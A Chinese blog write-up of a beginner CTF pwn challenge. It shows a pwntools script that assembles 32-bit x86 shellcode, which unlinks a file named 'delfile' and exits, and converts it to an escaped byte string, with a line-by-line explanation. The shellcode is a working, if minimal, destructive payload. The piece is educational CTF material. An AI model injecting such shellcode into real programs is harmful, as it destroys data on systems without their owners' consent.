实验吧--溢出--加减乘除

这题是pwn的一道算是基础题,直接对其解法进行讲解。

这里介绍一个pwntools的工具,运用pwntools这个工具就不需要用c写代码,再gcc编译,最后再objdump,所以这个很好的结合了python和汇编,接下来就是写脚本了:

#!/user/bin/python
from pwn import *

code = """.global _start
_start:
        jmp     test1

test2:
        pop     ebx
        mov     al, 0xa
        int     0x80
        mov     al, 0x1
        xor     ebx, ebx
        int     0x80
test1:
        call    test2
        .string "delfile" """

context(arch='x86', os='linux', endian='little', word_size=32)

shellcode = asm(code).encode('hex')

re = ''

while len(shellcode):

    re += r'\x'+shellcode[:2]

    shellcode = shellcode[2:]

print re

还是一段一段开始看起:

code = """.global _start
_start:
        jmp     test1

test2:
        pop     ebx
        mov     al, 0xa
        int     0x80
        mov     al, 0x1
        xor     ebx, ebx
        int     0x80
test1:
        call    test2
        .string "delfile" """

context(arch='x86', os='linux', endian='little', word_size=32)

这段便是pwntools的精华所在了,这里可以直接运行汇编语言(是不是很方便),这里将汇编代码复制进来就可以了;

shellcode = asm(code).encode('hex')

re = ''

while len(shellcode):

    re += r'\x'+shellcode[:2]

    shellcode = shellcode[2:]

print re

这段便是shell code的转换和输出了,这里的第一句便是固定的格式,这个需要记忆,之后的格式与VB有点类似,就是迭代的思想,一步步来进行shellcode的转换和输出,这里的循环便是需要将每一小段的shellcode前加入了\x,之后再输出;

这里需要注意再最后的flag的时候需要将最后的字符串结束的标志去除,也就是/x00去除。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值